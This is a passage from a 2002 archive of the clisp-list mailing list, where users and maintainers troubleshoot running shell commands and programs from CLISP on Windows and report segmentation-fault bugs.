Arseny (thanks for the thread patch - it's in) > * In message <1391126429.20020220170340@ich.dvo.ru> > * On the subject of "Re[2]: [clisp-list] Q: problem with run-program in Win32" > * Sent on Wed, 20 Feb 2002 17:03:40 +1000 > * Honorable Arseny Slobodjuck writes: > > Wednesday, February 20, 2002, 4:04:22 PM, you wrote: > > >> I'm trying to use the run-program command to simply run the "dir" command to > >> list the directory, but I must be doing something wrong: > >> > >> 5. Break [6]> (run-program "dir") > >> > >> [%s:10790] > >> *** - Win32 error 2 (ERROR_FILE_NOT_FOUND): The system cannot find the file > >> specified. this is an FAQ, but we do not have an FAQ list. any volunteers? > Sam> "dir" is a shell built-in. > Sam> try > Sam> (shell "dir") > doesn't work in NT what's the error message? SHELL should work on NT. what about (shell "/c dir")? > Sam> or > Sam> (run-program "dir" :indirect t) > indirectp - works, but undocumented it will be in a couple of minutes... > Sam> or > Sam> (run-program "cmd /c dir") > doesn't work yes, of course! it should have been (run-shell-command "cmd /c dir") or (run-program "cmd" :arguments '("/c" "dir")) -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! Good judgment comes from experience and experience comes from bad judgment. From edi@agharta.de Wed Feb 20 11:29:53 2002 Received: from h-213.61.102.30.host.de.colt.net ([213.61.102.30] helo=bird.agharta.de) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16dcR5-0005JP-00 for ; Wed, 20 Feb 2002 11:29:51 -0800 Received: by bird.agharta.de (Postfix on SuSE Linux 7.3 (i386), from userid 500) id BD55512E917; Wed, 20 Feb 2002 20:29:22 +0100 (CET) To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Emacs directory not in Windows distribution References: <20020219152900.8559.qmail@web10405.mail.yahoo.com> <3C72C685.A76D34A8@freenet.de> From: edi@agharta.de (Dr. Edmund Weitz) In-Reply-To: <3C72C685.A76D34A8@freenet.de> Message-ID: Lines: 23 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Feb 20 11:30:46 2002 X-Original-Date: 20 Feb 2002 20:29:22 +0100 lin8080 writes: > This will enlarge the download time. A seperate link to emacs a > distribution is a better solution, so you can download the newest > version. I have clisp on windows here, but I do not want emacs. Nobody wanted to include Emacs with CLISP. Bill was talking about four very small files, see You wouldn't notice a difference even with a slow modem. Edi. -- Dr. Edmund Weitz Hamburg Germany The Common Lisp Cookbook From Matise@biology.rutgers.edu Wed Feb 20 11:50:39 2002 Received: from nel-exchange.rutgers.edu ([128.6.130.4] helo=nel-exchange.ad.lifesciences.rutgers.edu) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16dclC-0001jc-00 for ; Wed, 20 Feb 2002 11:50:38 -0800 Received: by nel-exchange.ad.lifesciences.rutgers.edu with Internet Mail Service (5.5.2653.19) id ; Wed, 20 Feb 2002 14:49:57 -0500 Message-ID: <32786300104BD311AC7E00508B6707D0D1A41C@nel-exchange.ad.lifesciences.rutgers.edu> From: Matise@Biology.Rutgers.Edu To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C1BA47.AE43AE40" Subject: [clisp-list] Q: problem with run-program in Win32 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Feb 20 11:51:20 2002 X-Original-Date: Wed, 20 Feb 2002 14:49:17 -0500 This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C1BA47.AE43AE40 Content-Type: text/plain; charset="iso-8859-1" Thanks - that is helpful for the built-in shell commands, but I also need to run some compiled C code, and for that I get the same file_not_found error, even though I am starting LISP from the same directory as where the compiled C code is located, and the C code does run fine on its own outside of CLISP: [6]>(run-program "lispcri.exe") [%s:10790] *** - Win32 error 2 (ERROR_FILE_NOT_FOUND): The system cannot find the file specified. Thanks again, Tara * * * * * * * * * * * * * * * * * * * * * * * * Tara C. Matise, Ph.D. Associate Research Professor Department of Genetics 732-445-3125 (P) Rutgers University 732-445-4972 (F) matise@biology.rutgers.edu http://compgen.rutgers.edu Nelson Biological Laboratories - B211 604 Allison Road Piscataway, NJ 08854-8082 ------_=_NextPart_001_01C1BA47.AE43AE40 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Q: problem with run-program in Win32

Thanks - that is helpful for the built-in = shell commands, but I also need to run some compiled C code, and for = that I get the same file_not_found error, even though I am starting = LISP from the same directory as where the compiled C code is located, = and the C code does run fine on its own outside of CLISP:


[6]>(run-program = "lispcri.exe")

[%s:10790]
*** - Win32 error 2 (ERROR_FILE_NOT_FOUND): = The system cannot find the file specified.

Thanks again,

Tara

*  *  *  *  *  = *  *  *  *  *  *  *  *  *  = *  *  *  *  *  *  *  *  *  = * 
Tara C. Matise, = Ph.D.           = Associate Research Professor       =
Department of = Genetics       732-445-3125 (P)
Rutgers = University          &n= bsp;   732-445-4972 (F)
           &n= bsp;  matise@biology.rutgers.edu
           &n= bsp;  http://compgen.rutgers.edu

Nelson Biological Laboratories - = B211
604 Allison Road
Piscataway, NJ  08854-8082

------_=_NextPart_001_01C1BA47.AE43AE40-- From samuel.steingold@verizon.net Wed Feb 20 12:21:03 2002 Received: from out011pub.verizon.net ([206.46.170.135] helo=out011.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16ddEc-0001wN-00 for ; Wed, 20 Feb 2002 12:21:02 -0800 Received: from gnu.org ([151.203.224.254]) by out011.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020220202055.RVYK9330.out011.verizon.net@gnu.org>; Wed, 20 Feb 2002 14:20:55 -0600 To: edi@agharta.de (Dr. Edmund Weitz) Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Emacs directory not in Windows distribution References: <20020219152900.8559.qmail@web10405.mail.yahoo.com> <3C72C685.A76D34A8@freenet.de> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 27 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Feb 20 12:28:47 2002 X-Original-Date: 20 Feb 2002 15:17:41 -0500 > * In message > * On the subject of "Re: [clisp-list] Emacs directory not in Windows distribution" > * Sent on 20 Feb 2002 20:29:22 +0100 > * Honorable edi@agharta.de (Dr. Edmund Weitz) writes: > > lin8080 writes: > > > This will enlarge the download time. A seperate link to emacs a > > distribution is a better solution, so you can download the newest > > version. I have clisp on windows here, but I do not want emacs. > > Nobody wanted to include Emacs with CLISP. actually.... :-) > Bill was talking about four very small files, see > the _three_ files will be included with the next release. (d-mode.el is for developers only - we do not ship any *.d files with the binaries anyway). -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! My inferiority complex is not as good as yours. From samuel.steingold@verizon.net Wed Feb 20 12:28:34 2002 Received: from out020pub.verizon.net ([206.46.170.176] helo=out020.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16ddLt-0003tk-00 for ; Wed, 20 Feb 2002 12:28:33 -0800 Received: from gnu.org ([151.203.224.254]) by out020.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020220202825.SFZQ22012.out020.verizon.net@gnu.org>; Wed, 20 Feb 2002 14:28:25 -0600 To: Matise@nel-exchange.Rutgers.Edu Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Q: problem with run-program in Win32 References: <32786300104BD311AC7E00508B6707D0D1A41C@nel-exchange.ad.lifesciences.rutgers.edu> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <32786300104BD311AC7E00508B6707D0D1A41C@nel-exchange.ad.lifesciences.rutgers.edu> Message-ID: Lines: 27 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Feb 20 12:37:48 2002 X-Original-Date: 20 Feb 2002 15:25:15 -0500 > * In message <32786300104BD311AC7E00508B6707D0D1A41C@nel-exchange.ad.lifesciences.rutgers.edu> > * On the subject of "[clisp-list] Q: problem with run-program in Win32" > * Sent on Wed, 20 Feb 2002 14:49:17 -0500 > * Honorable Matise@nel-exchange.Rutgers.Edu writes: > > Thanks - that is helpful for the built-in shell commands, but I also need to > run some compiled C code, and for that I get the same file_not_found error, > even though I am starting LISP from the same directory as where the compiled > C code is located, and the C code does run fine on its own outside of CLISP: > > [6]>(run-program "lispcri.exe") > > [%s:10790] > *** - Win32 error 2 (ERROR_FILE_NOT_FOUND): The system cannot find the file > specified. WFM on Linux. please be more adventurous. :-) try supplying full path (remember to use the right slashes). try SHELL, RUN-SHELL-COMMAND, EXECUTE ... any other woe32 users here who can help Tara? -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! There is Truth, and its value is T. Or just non-NIL. So 0 is True! From bill_clementson@yahoo.com Wed Feb 20 13:08:46 2002 Received: from web10407.mail.yahoo.com ([216.136.130.99]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16ddyo-0002Nu-00 for ; Wed, 20 Feb 2002 13:08:46 -0800 Message-ID: <20020220210844.91463.qmail@web10407.mail.yahoo.com> Received: from [208.142.210.30] by web10407.mail.yahoo.com via HTTP; Wed, 20 Feb 2002 13:08:44 PST From: Bill Clementson Subject: RE: [clisp-list] Q: problem with run-program in Win32 To: clisp-list@lists.sourceforge.net Cc: sds@gnu.org, Matise@nel-exchange.Rutgers.Edu MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="0-2118238931-1014239324=:89433" Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Feb 20 13:09:17 2002 X-Original-Date: Wed, 20 Feb 2002 13:08:44 -0800 (PST) --0-2118238931-1014239324=:89433 Content-Type: text/plain; charset=us-ascii > > [6]>(run-program "lispcri.exe") > > > > [%s:10790] > > *** - Win32 error 2 (ERROR_FILE_NOT_FOUND): The system > cannot find the file > > specified. > > WFM on Linux. please be more adventurous. :-) > try supplying full path (remember to use the right slashes). > try SHELL, RUN-SHELL-COMMAND, EXECUTE ... > > any other woe32 users here who can help Tara? On my Windows/2000 PC, (run-program "emacs") starts up emacs.exe. Of course, emacs.exe is in the path. Works ok for an exe in the cwd that is not in the path as well. Are you doing anything with the current working directory in clisp before you attempt to run lispcri.exe? - Bill --------------------------------- Do You Yahoo!? Yahoo! Sports - Coverage of the 2002 Olympic Games --0-2118238931-1014239324=:89433 Content-Type: text/html; charset=us-ascii

> > [6]>(run-program "lispcri.exe")
> >
> > [%s:10790]
> > *** - Win32 error 2 (ERROR_FILE_NOT_FOUND): The system
> cannot find the file
> > specified.
>
> WFM on Linux. please be more adventurous. :-)
> try supplying full path (remember to use the right slashes).
> try SHELL, RUN-SHELL-COMMAND, EXECUTE ...
>
> any other woe32 users here who can help Tara?

On my Windows/2000 PC, (run-program "emacs") starts up emacs.exe. Of course, emacs.exe is in the path. Works ok for an exe in the cwd that is not in the path as well. Are you doing anything with the current working directory in clisp before you attempt to run lispcri.exe?

- Bill



Do You Yahoo!?
Yahoo! Sports - Coverage of the 2002 Olympic Games --0-2118238931-1014239324=:89433-- From lin8080@freenet.de Wed Feb 20 16:10:26 2002 Received: from mout0.freenet.de ([194.97.50.131]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16dgoZ-0004vY-00 for ; Wed, 20 Feb 2002 16:10:23 -0800 Received: from [194.97.50.136] (helo=mx3.freenet.de) by mout0.freenet.de with esmtp (Exim 3.33 #3) id 16dgoW-0006Q8-00 for clisp-list@lists.sourceforge.net; Thu, 21 Feb 2002 01:10:20 +0100 Received: from b763a.pppool.de ([213.7.118.58] helo=freenet.de) by mx3.freenet.de with asmtp (ID lin8080@freenet.de) (Exim 3.33 #3) id 16dgoV-00017Z-00 for clisp-list@lists.sourceforge.net; Thu, 21 Feb 2002 01:10:19 +0100 Message-ID: <3C743A14.47AC6BE6@freenet.de> From: lin8080 X-Mailer: Mozilla 4.7 [de]C-freenet 4.0 (Win98; I) X-Accept-Language: de,en MIME-Version: 1.0 CC: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Subject: [clisp-list] Re:[clisp-list]Q: problem with run-programm in Win32 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Feb 20 16:11:08 2002 X-Original-Date: Thu, 21 Feb 2002 01:06:44 +0100 Sam Steingold schrieb: > > > * In message <32786300104BD311AC7E00508B6707D0D1A407@nel-exchange.ad.lifesciences.rutgers.edu> > > * On the subject of "[clisp-list] Q: problem with run-program in Win32" > > * Sent on Tue, 19 Feb 2002 23:05:33 -0500 > > * Honorable Matise@nel-exchange.Rutgers.Edu writes: > > > > I'm trying to use the run-program command to simply run the "dir" command to > > list the directory, but I must be doing something wrong: > try > (shell "dir") > or > (run-program "dir" :indirect t) > or > (run-program "cmd /c dir") [1]> (shell "dir") [pathname.d:11395] *** - Win32 error 2 (ERROR_FILE_NIT_FOUND): The system cannot find the file spec ified. 1. Break [2]> abort [3]> (run-program "cmd /c dir") - same error as first. [5]> (run-program "dir" :indirect t) *** - EVAL/APPLY: keyword :INDIRECT is illegal for #. The possible keywords are (:ARGUMENTS :INPUT :OUTPUT :IF-OUTPUT-EXISTS :INDI RECTP) 1.Break [6]> abort [7]> (run-program "dir" :indirect t) Datenträger in Laufwerk C: NEZPEC Seriennummer des Datenträgers: xxxx-xxxx Verzeichnis C:\CLISP .
12-12-01 9:29a . .. 12-12-01 9:29a .. CLIISP BAT 135 09-14-01 4:24a CLISP.BAT EDITOR EXE 48,640 08-18-00 6:22a EDITOR.EXE LISP EXE 1,912,832 05-25-00 12:49p CLISP.EXE LISPINIT MEM 885,972 01-02-02 11:07p LISPINIT.MEM SRC 12-31-01 5:57p SRC 4 Datei(en) 2,847,579 Bytes 3 Verzeichnis(se) 142,053,376 Bytes frei T [8]> _ stefan From lin8080@freenet.de Wed Feb 20 16:38:56 2002 Received: from mout0.freenet.de ([194.97.50.131]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16dhGB-0000Qa-00 for ; Wed, 20 Feb 2002 16:38:55 -0800 Received: from [194.97.50.135] (helo=mx2.freenet.de) by mout0.freenet.de with esmtp (Exim 3.33 #3) id 16dhG8-0000Tz-00 for clisp-list@lists.sourceforge.net; Thu, 21 Feb 2002 01:38:52 +0100 Received: from b774e.pppool.de ([213.7.119.78] helo=freenet.de) by mx2.freenet.de with asmtp (ID lin8080@freenet.de) (Exim 3.33 #3) id 16dhG8-0004u4-00 for clisp-list@lists.sourceforge.net; Thu, 21 Feb 2002 01:38:52 +0100 Message-ID: <3C74414F.AFC55443@freenet.de> From: lin8080 X-Mailer: Mozilla 4.7 [de]C-freenet 4.0 (Win98; I) X-Accept-Language: de,en MIME-Version: 1.0 CC: "clisp-list@lists.sourceforge.net" Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] Re:[clisp-list]Q: problem with run-programm in Win32 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Feb 20 16:39:06 2002 X-Original-Date: Thu, 21 Feb 2002 01:37:35 +0100 Hallo again I forgot the p. Line [7] should look like: [7]> (run-program "dir" :indirectp t) but testing the following: [7]> (run-program "editor.exe" :indirectp t) This programm must be run under Microsoft Windows. T no error. and testing: [8]> (execute "editor.exe") opens the Editor.exe in a new window. wow. stefan From mskierski@ecandv.com.au Wed Feb 20 22:00:06 2002 Received: from mta01bw.bigpond.com ([139.134.6.78]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16dmGy-0000m9-00 for ; Wed, 20 Feb 2002 22:00:04 -0800 Received: from developer ([144.135.24.81]) by mta01bw.bigpond.com (Netscape Messaging Server 4.15) with SMTP id GRVCNU00.9A5 for ; Thu, 21 Feb 2002 15:59:54 +1000 Received: from 203.40.129.242 ([203.40.129.242]) by bwmam05.mailsvc.email.bigpond.com(MailRouter V3.0i 38/205981); 21 Feb 2002 15:59:50 Reply-To: From: "Maciej Skierski" To: Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 Subject: [clisp-list] clisp 2.27 Unhandled exception. Stack limitations Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Feb 20 22:01:08 2002 X-Original-Date: Thu, 21 Feb 2002 17:02:01 +1100 Hello 1. I have compiled lisp v.2.27 on XP Professional using VC++ 6.0 and I'm getting unhandled exception message ============================================================================ ============ [14]> *** - handle_fault error2 ! address = 0x1E492000 not in [0x1E2C0000,0x1E44C074) !SIGSEGV cannot be cured. Fault address = 0x1E492000. ============================================================================ ============ I have re-compiled lisp using the debug single threaded library and I received the following stack unwind report: ============================================================================ ============ string_eqcomp_ci(void * 0x1e491ff9, unsigned long 0, void * 0x1e35436d, unsigned long 0, unsigned long 2) line 2992 + 3 bytes read_form() line 149 + 18 bytes C_read_eval_print() line 267 funcall_subr(void * 0x006c05aa, unsigned long 2) line 5541 funcall(void * 0x006c6ded, unsigned long 2) line 5143 + 11 bytes interpret_bytecode_(void * 0x1e357741, sbvector_ * 0x1e35770c, const unsigned char * 0x1e357734) line 7206 + 123 bytes funcall_closure(void * 0x1e357741, unsigned long 0) line 5981 + 20 bytes funcall(void * 0x1e357741, unsigned long 0) line 5138 + 11 bytes C_driver() line 2134 + 15 bytes interpret_bytecode_(void * 0x1e35776d, sbvector_ * 0x1e3576c4, const unsigned char * 0x1e3576dc) line 7212 + 71 bytes funcall_closure(void * 0x1e35776d, unsigned long 0) line 5981 + 20 bytes funcall(void * 0x1e35776d, unsigned long 0) line 5138 + 11 bytes interpret_bytecode_(void * 0x1e3e2a51, sbvector_ * 0x1e2f63f8, const unsigned char * 0x1e2f643a) line 7262 + 29 bytes funcall_closure(void * 0x1e3e2a51, unsigned long 0) line 5981 + 20 bytes funcall(void * 0x1e3e2a51, unsigned long 0) line 5138 + 11 bytes driver() line 337 + 10 bytes main(int 7, char * * 0x05a712f0) line 2855 mainCRTStartup() line 206 + 25 bytes KERNEL32! 77e7eb69() ============================================================================ ============ The actual offending line is: if (!chareq(up_case(as_chart(*charptr1++)),up_case(*charptr2++))) where debugger shows that the unallocated value is *charptr1++. Would you have any advice on this? The second problem I have is the stack size allocation. Although I have changed the executable to use 80MB of stack it appears that the system runs out of stack space with the working set about 38MB. Is there build in limitation on the size of accessible stack? Regards Maciej Skieski mskierski@ecandv.com.au Web: www.ecandv.com.au From Joerg-Cyril.Hoehle@t-systems.com Thu Feb 21 01:51:24 2002 Received: from [62.225.183.235] (helo=mail1.telekom.de) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16dpsq-0002LT-00 for ; Thu, 21 Feb 2002 01:51:24 -0800 Received: from g8pbq.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Thu, 21 Feb 2002 10:03:31 +0100 Received: by G8PBQ.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Thu, 21 Feb 2002 10:05:03 +0100 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Subject: [clisp-list] Re:[clisp-list]Q: problem with run-programm in Win32 (:indirectp documentation, :wait & %s in message) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Feb 21 01:52:06 2002 X-Original-Date: Thu, 21 Feb 2002 10:05:01 +0100 BTW, there's some unrelated bug showing, and some lack of = documentation: lin8080 [Stefan] reports: > [1]> (shell "dir") > [pathname.d:11395] > *** - Win32 error 2 (ERROR_FILE_NIT_FOUND): The system cannot find = the ^^^ is that really copy&paste?? > file specified. > 1. Break [2]>=20 Tara C. Matise reports: > [6]>(run-program "lispcri.exe")=20 > [%s:10790]=20 > *** - Win32 error 2 (ERROR_FILE_NOT_FOUND): The system cannot find = the file specified.=20 Why does one see [%s: 10790] and somebody else [pathname.d:11395]? I also see [%s:nnn] on my system, cf. Bugtracker http://sourceforge.net/tracker/index.php?func=3Ddetail&aid=3D514741&grou= p_id=3D1355&atid=3D101355 > [7]> (run-program "dir" :indirect t) Good to know that shell internal programs can be run as well. Where is the CLISP FAQ? :-) > [5]> (run-program "dir" :indirect t) >=20 > *** - EVAL/APPLY: keyword :INDIRECT is illegal for = # RUN-PROGRAM. The possible keywords are (:ARGUMENTS :INPUT :OUTPUT > :IF-OUTPUT-EXISTS :INDIRECTP) =20 :INDIRECTP (WINDOWS only) is not documented in = http://clisp.cons.org/impnotes.html Neither are :WAIT or :MAY-EXEC (the latter is UNIX only) BTW, does :WAIT really work on MS-Windows?? The code appends a " &" = after the command, something I only know from UNIX shells. Is there a = few #+UNIX missing in runprog.lisp? What does indirectp mean to the user? cmd.exe /? says: /C F=FChrt den Befehl in der Zeichenfolge aus und endet dann. ~ "Execute command in string and end." What's indirect about that? It seems to be the equivalent of UNIX /bin/[[t]c]sh -c Shouldn't that be the default for something called "run-SHELL-command"? > [8]> (execute "editor.exe") > opens the Editor.exe in a new window. wow. But isn't CLISP stopped until this program terminates? (ext:run-program "notepad.exe" :wait nil) Notepad says: "The file "&.txt" could not be found. Create a new = document? And the CLISP prompt only returns when I close notepad. I'm using the CLISP-2.27-win32 binary distribution on a MS-W*2k system. Regards, J=F6rg H=F6hle. From stig@ii.uib.no Thu Feb 21 08:40:26 2002 Received: from eik.ii.uib.no ([129.177.16.3] helo=ii.uib.no) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16dwGd-0004b5-00 for ; Thu, 21 Feb 2002 08:40:24 -0800 Received: from apal-192.ii.uib.no (apal.ii.uib.no) [129.177.192.27] by ii.uib.no with esmtp (Exim 3.03) id 16dwGT-0006TR-00 for ; Thu, 21 Feb 2002 17:40:13 +0100 Received: (from stig@localhost) by apal.ii.uib.no (8.11.6+Sun/8.11.6) id g1LGeCh01429 for clisp-list@lists.sourceforge.net; Thu, 21 Feb 2002 17:40:12 +0100 (MET) From: Stig E Sandoe To: clisp-list@lists.sourceforge.net Message-ID: <20020221174011.A1290@apal.ii.uib.no> Mail-Followup-To: Stig E Sandoe , clisp-list@lists.sourceforge.net Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i X-Scanner: exiscan *16dwGT-0006TR-00*wZEsXzWync.* (ii.uib.no) Subject: [clisp-list] REINITIALIZE-INSTANCE problems Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Feb 21 08:41:02 2002 X-Original-Date: Thu, 21 Feb 2002 17:40:12 +0100 hei, I have some troubles getting REINITIALIZE-INSTANCE to work in CLISP. The following test-case: (in-package :cl-user) (defclass component () ((name :type string :accessor component-name :initarg :name) (version :accessor component-version :initarg :version) (in-order-to :initform nil :initarg :in-order-to) (inline-methods :accessor component-inline-methods :initform nil) (relative-pathname :initarg :pathname))) (defun upd-inst (obj &rest args) (apply #'reinitialize-instance obj args)) ;;(trace reinitialize-instance) (let ((foo (make-instance 'component :name "gib"))) (warn "Going 1") (upd-inst foo :name "gah1") (warn "Going 2") (upd-inst foo :name "gah2") (warn "Going 3") (upd-inst foo :name "gah3") ) Gives me: $ clisp -q -ansi reinit.lisp WARNING: Going 1 WARNING: Going 2 WARNING: Going 3 *** - handle_fault error2 ! address = 0x4556454F not in [0x202A6000,0x2036220C) ! SIGSEGV cannot be cured. Fault address = 0x4556454F. Segmentation fault (core dumped) This is quite problematic, and it's not a good thing that clisp crashes and dumps core. Anyone? -- ------------------------------------------------------------------ Stig Erik Sandoe stig@ii.uib.no http://www.ii.uib.no/~stig/ From samuel.steingold@verizon.net Thu Feb 21 08:46:06 2002 Received: from out002slb.verizon.net ([206.46.170.14] helo=out002.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16dwM3-00064t-00 for ; Thu, 21 Feb 2002 08:45:59 -0800 Received: from gnu.org ([151.203.224.254]) by out002.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020221164557.GJDP14462.out002.verizon.net@gnu.org>; Thu, 21 Feb 2002 10:45:57 -0600 To: Cc: Subject: Re: [clisp-list] clisp 2.27 Unhandled exception. Stack limitations References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 32 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Feb 21 08:47:04 2002 X-Original-Date: 21 Feb 2002 11:42:43 -0500 > * In message > * On the subject of "[clisp-list] clisp 2.27 Unhandled exception. Stack limitations" > * Sent on Thu, 21 Feb 2002 17:02:01 +1100 > * Honorable "Maciej Skierski" writes: > > 1. I have compiled lisp v.2.27 on XP Professional using VC++ 6.0 and I'm > getting unhandled exception message I think this was fixed in the development sources on 2001-09-10. Could you please check out the latest from the CVS and try it? Thanks a lot for such a thorough bug report! (the only thing missing is the instructions on how to reproduce the crash :-) > string_eqcomp_ci(void * 0x1e491ff9, unsigned long 0, void * 0x1e35436d, > unsigned long 0, unsigned long 2) line 2992 + 3 bytes > read_form() line 149 + 18 bytes > The second problem I have is the stack size allocation. Although I > have changed the executable to use 80MB of stack it appears that the > system runs out of stack space with the working set about 38MB. Is > there build in limitation on the size of accessible stack? I don't think so. Bruno? -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! Single tasking: Just Say No. From samuel.steingold@verizon.net Thu Feb 21 09:13:48 2002 Received: from out008pub.verizon.net ([206.46.170.108] helo=out008.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 